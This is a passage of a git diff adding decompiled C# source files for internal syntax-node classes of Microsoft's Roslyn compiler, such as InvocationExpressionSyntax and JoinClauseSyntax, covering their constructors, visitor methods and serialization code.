((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + interpolationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(interpolationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + interpolationSyntax = GreenNodeExtensions.WithAnnotationsGreen(interpolationSyntax, (IEnumerable)annotations); + } + return interpolationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new InterpolationSyntax(base.Kind, openBraceToken, expression, alignmentClause, formatClause, closeBraceToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new InterpolationSyntax(base.Kind, openBraceToken, expression, alignmentClause, formatClause, closeBraceToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal InterpolationSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 5; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + openBraceToken = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + InterpolationAlignmentClauseSyntax interpolationAlignmentClauseSyntax = (InterpolationAlignmentClauseSyntax)reader.ReadValue(); + if (interpolationAlignmentClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)interpolationAlignmentClauseSyntax); + alignmentClause = interpolationAlignmentClauseSyntax; + } + InterpolationFormatClauseSyntax interpolationFormatClauseSyntax = (InterpolationFormatClauseSyntax)reader.ReadValue(); + if (interpolationFormatClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)interpolationFormatClauseSyntax); + formatClause = interpolationFormatClauseSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + closeBraceToken = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)openBraceToken); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)alignmentClause); + writer.WriteValue((IObjectWritable)(object)formatClause); + writer.WriteValue((IObjectWritable)(object)closeBraceToken); + } + + static InterpolationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(InterpolationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new InterpolationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InvocationExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InvocationExpressionSyntax.cs new file mode 100644 index 0000000..8668de3 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/InvocationExpressionSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class InvocationExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax expression; + + internal readonly ArgumentListSyntax argumentList; + + public ExpressionSyntax Expression => expression; + + public ArgumentListSyntax ArgumentList => argumentList; + + internal InvocationExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, ArgumentListSyntax argumentList, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal InvocationExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, ArgumentListSyntax argumentList, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal InvocationExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, ArgumentListSyntax argumentList) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentList); + this.argumentList = argumentList; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => expression, + 1 => argumentList, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.InvocationExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitInvocationExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitInvocationExpression(this); + } + + public InvocationExpressionSyntax Update(ExpressionSyntax expression, ArgumentListSyntax argumentList) + { + if (expression != Expression || argumentList != ArgumentList) + { + InvocationExpressionSyntax invocationExpressionSyntax = SyntaxFactory.InvocationExpression(expression, argumentList); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + invocationExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(invocationExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + invocationExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(invocationExpressionSyntax, (IEnumerable)annotations); + } + return invocationExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new InvocationExpressionSyntax(base.Kind, expression, argumentList, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new InvocationExpressionSyntax(base.Kind, expression, argumentList, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal InvocationExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + ArgumentListSyntax argumentListSyntax = (ArgumentListSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)argumentListSyntax); + argumentList = argumentListSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)argumentList); + } + + static InvocationExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(InvocationExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new InvocationExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IsPatternExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IsPatternExpressionSyntax.cs new file mode 100644 index 0000000..f0fc284 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/IsPatternExpressionSyntax.cs @@ -0,0 +1,141 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class IsPatternExpressionSyntax : ExpressionSyntax +{ + internal readonly ExpressionSyntax expression; + + internal readonly SyntaxToken isKeyword; + + internal readonly PatternSyntax pattern; + + public ExpressionSyntax Expression => expression; + + public SyntaxToken IsKeyword => isKeyword; + + public PatternSyntax Pattern => pattern; + + internal IsPatternExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken isKeyword, PatternSyntax pattern, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)isKeyword); + this.isKeyword = isKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + + internal IsPatternExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken isKeyword, PatternSyntax pattern, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)isKeyword); + this.isKeyword = isKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + + internal IsPatternExpressionSyntax(SyntaxKind kind, ExpressionSyntax expression, SyntaxToken isKeyword, PatternSyntax pattern) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)isKeyword); + this.isKeyword = isKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pattern); + this.pattern = pattern; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => expression, + 1 => isKeyword, + 2 => pattern, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.IsPatternExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitIsPatternExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitIsPatternExpression(this); + } + + public IsPatternExpressionSyntax Update(ExpressionSyntax expression, SyntaxToken isKeyword, PatternSyntax pattern) + { + if (expression != Expression || isKeyword != IsKeyword || pattern != Pattern) + { + IsPatternExpressionSyntax isPatternExpressionSyntax = SyntaxFactory.IsPatternExpression(expression, isKeyword, pattern); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + isPatternExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(isPatternExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + isPatternExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(isPatternExpressionSyntax, (IEnumerable)annotations); + } + return isPatternExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new IsPatternExpressionSyntax(base.Kind, expression, isKeyword, pattern, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new IsPatternExpressionSyntax(base.Kind, expression, isKeyword, pattern, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal IsPatternExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + isKeyword = syntaxToken; + PatternSyntax patternSyntax = (PatternSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)patternSyntax); + pattern = patternSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)isKeyword); + writer.WriteValue((IObjectWritable)(object)pattern); + } + + static IsPatternExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(IsPatternExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new IsPatternExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/JoinClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/JoinClauseSyntax.cs new file mode 100644 index 0000000..54d9bd7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/JoinClauseSyntax.cs @@ -0,0 +1,270 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class JoinClauseSyntax : QueryClauseSyntax +{ + internal readonly SyntaxToken joinKeyword; + + internal readonly TypeSyntax? type; + + internal readonly SyntaxToken identifier; + + internal readonly SyntaxToken inKeyword; + + internal readonly ExpressionSyntax inExpression; + + internal readonly SyntaxToken onKeyword; + + internal readonly ExpressionSyntax leftExpression; + + internal readonly SyntaxToken equalsKeyword; + + internal readonly ExpressionSyntax rightExpression; + + internal readonly JoinIntoClauseSyntax? into; + + public SyntaxToken JoinKeyword => joinKeyword; + + public TypeSyntax? Type => type; + + public SyntaxToken Identifier => identifier; + + public SyntaxToken InKeyword => inKeyword; + + public ExpressionSyntax InExpression => inExpression; + + public SyntaxToken OnKeyword => onKeyword; + + public ExpressionSyntax LeftExpression => leftExpression; + + public SyntaxToken EqualsKeyword => equalsKeyword; + + public ExpressionSyntax RightExpression => rightExpression; + + public JoinIntoClauseSyntax? Into => into; + + internal JoinClauseSyntax(SyntaxKind kind, SyntaxToken joinKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax inExpression, SyntaxToken onKeyword, ExpressionSyntax leftExpression, SyntaxToken equalsKeyword, ExpressionSyntax rightExpression, JoinIntoClauseSyntax? into, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 10; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)joinKeyword); + this.joinKeyword = joinKeyword; + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inExpression); + this.inExpression = inExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)onKeyword); + this.onKeyword = onKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)leftExpression); + this.leftExpression = leftExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsKeyword); + this.equalsKeyword = equalsKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)rightExpression); + this.rightExpression = rightExpression; + if (into != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)into); + this.into = into; + } + } + + internal JoinClauseSyntax(SyntaxKind kind, SyntaxToken joinKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax inExpression, SyntaxToken onKeyword, ExpressionSyntax leftExpression, SyntaxToken equalsKeyword, ExpressionSyntax rightExpression, JoinIntoClauseSyntax? into, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 10; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)joinKeyword); + this.joinKeyword = joinKeyword; + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inExpression); + this.inExpression = inExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)onKeyword); + this.onKeyword = onKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)leftExpression); + this.leftExpression = leftExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsKeyword); + this.equalsKeyword = equalsKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)rightExpression); + this.rightExpression = rightExpression; + if (into != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)into); + this.into = into; + } + } + + internal JoinClauseSyntax(SyntaxKind kind, SyntaxToken joinKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax inExpression, SyntaxToken onKeyword, ExpressionSyntax leftExpression, SyntaxToken equalsKeyword, ExpressionSyntax rightExpression, JoinIntoClauseSyntax? into) + : base(kind) + { + ((GreenNode)this).SlotCount = 10; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)joinKeyword); + this.joinKeyword = joinKeyword; + if (type != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)type); + this.type = type; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inKeyword); + this.inKeyword = inKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)inExpression); + this.inExpression = inExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)onKeyword); + this.onKeyword = onKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)leftExpression); + this.leftExpression = leftExpression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)equalsKeyword); + this.equalsKeyword = equalsKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)rightExpression); + this.rightExpression = rightExpression; + if (into != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)into); + this.into = into; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => joinKeyword, + 1 => type, + 2 => identifier, + 3 => inKeyword, + 4 => inExpression, + 5 => onKeyword, + 6 => leftExpression, + 7 => equalsKeyword, + 8 => rightExpression, + 9 => into, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.JoinClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitJoinClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitJoinClause(this); + } + + public JoinClauseSyntax Update(SyntaxToken joinKeyword, TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax inExpression, SyntaxToken onKeyword, ExpressionSyntax leftExpression, SyntaxToken equalsKeyword, ExpressionSyntax rightExpression, JoinIntoClauseSyntax into) + { + if (joinKeyword != JoinKeyword || type != Type || identifier != Identifier || inKeyword != InKeyword || inExpression != InExpression || onKeyword != OnKeyword || leftExpression != LeftExpression || equalsKeyword != EqualsKeyword || rightExpression != RightExpression || into != Into) + { + JoinClauseSyntax joinClauseSyntax = SyntaxFactory.JoinClause(joinKeyword, type, identifier, inKeyword, inExpression, onKeyword, leftExpression, equalsKeyword, rightExpression, into); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + joinClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(joinClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + joinClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(joinClauseSyntax, (IEnumerable)annotations); + } + return joinClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new JoinClauseSyntax(base.Kind, joinKeyword, type, identifier, inKeyword, inExpression, onKeyword, leftExpression, equalsKeyword, rightExpression, into, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new JoinClauseSyntax(base.Kind, joinKeyword, type, identifier, inKeyword, inExpression, onKeyword, leftExpression, equalsKeyword, rightExpression, into, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal JoinClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 10; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + joinKeyword = syntaxToken; + TypeSyntax typeSyntax = (TypeSyntax)reader.ReadValue(); + if (typeSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)typeSyntax); + type = typeSyntax; + } + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + inKeyword = syntaxToken3; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + inExpression = expressionSyntax; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + onKeyword = syntaxToken4; + ExpressionSyntax expressionSyntax2 = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax2); + leftExpression = expressionSyntax2; + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + equalsKeyword = syntaxToken5; + ExpressionSyntax expressionSyntax3 = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax3); + rightExpression = expressionSyntax3; + JoinIntoClauseSyntax joinIntoClauseSyntax = (JoinIntoClauseSyntax)reader.ReadValue(); + if (joinIntoClauseSyntax != null) + { + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)joinIntoClauseSyntax); + into = joinIntoClauseSyntax; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)joinKeyword); + writer.WriteValue((IObjectWritable)(object)type); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)inKeyword); + writer.WriteValue((IObjectWritable)(object)inExpression); + writer.WriteValue((IObjectWritable)(object)onKeyword); + writer.WriteValue((IObjectWritable)(object)leftExpression); + writer.WriteValue((IObjectWritable)(object)equalsKeyword); + writer.WriteValue((IObjectWritable)(object)rightExpression); + writer.WriteValue((IObjectWritable)(object)into); + } + + static JoinClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(JoinClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new JoinClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/JoinIntoClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/JoinIntoClauseSyntax.cs new file mode 100644 index 0000000..3dc70d4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/JoinIntoClauseSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class JoinIntoClauseSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken intoKeyword; + + internal readonly SyntaxToken identifier; + + public SyntaxToken IntoKeyword => intoKeyword; + + public SyntaxToken Identifier => identifier; + + internal JoinIntoClauseSyntax(SyntaxKind kind, SyntaxToken intoKeyword, SyntaxToken identifier, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)intoKeyword); + this.intoKeyword = intoKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal JoinIntoClauseSyntax(SyntaxKind kind, SyntaxToken intoKeyword, SyntaxToken identifier, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)intoKeyword); + this.intoKeyword = intoKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal JoinIntoClauseSyntax(SyntaxKind kind, SyntaxToken intoKeyword, SyntaxToken identifier) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)intoKeyword); + this.intoKeyword = intoKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => intoKeyword, + 1 => identifier, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.JoinIntoClauseSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitJoinIntoClause(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitJoinIntoClause(this); + } + + public JoinIntoClauseSyntax Update(SyntaxToken intoKeyword, SyntaxToken identifier) + { + if (intoKeyword != IntoKeyword || identifier != Identifier) + { + JoinIntoClauseSyntax joinIntoClauseSyntax = SyntaxFactory.JoinIntoClause(intoKeyword, identifier); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + joinIntoClauseSyntax = GreenNodeExtensions.WithDiagnosticsGreen(joinIntoClauseSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + joinIntoClauseSyntax = GreenNodeExtensions.WithAnnotationsGreen(joinIntoClauseSyntax, (IEnumerable)annotations); + } + return joinIntoClauseSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new JoinIntoClauseSyntax(base.Kind, intoKeyword, identifier, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new JoinIntoClauseSyntax(base.Kind, intoKeyword, identifier, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal JoinIntoClauseSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + intoKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + identifier = syntaxToken2; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)intoKeyword); + writer.WriteValue((IObjectWritable)(object)identifier); + } + + static JoinIntoClauseSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(JoinIntoClauseSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new JoinIntoClauseSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LabeledStatementSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/LabeledStatementSyntax.cs new file mode 100644 index 0000000..b01cee9 --- /dev/null +++ 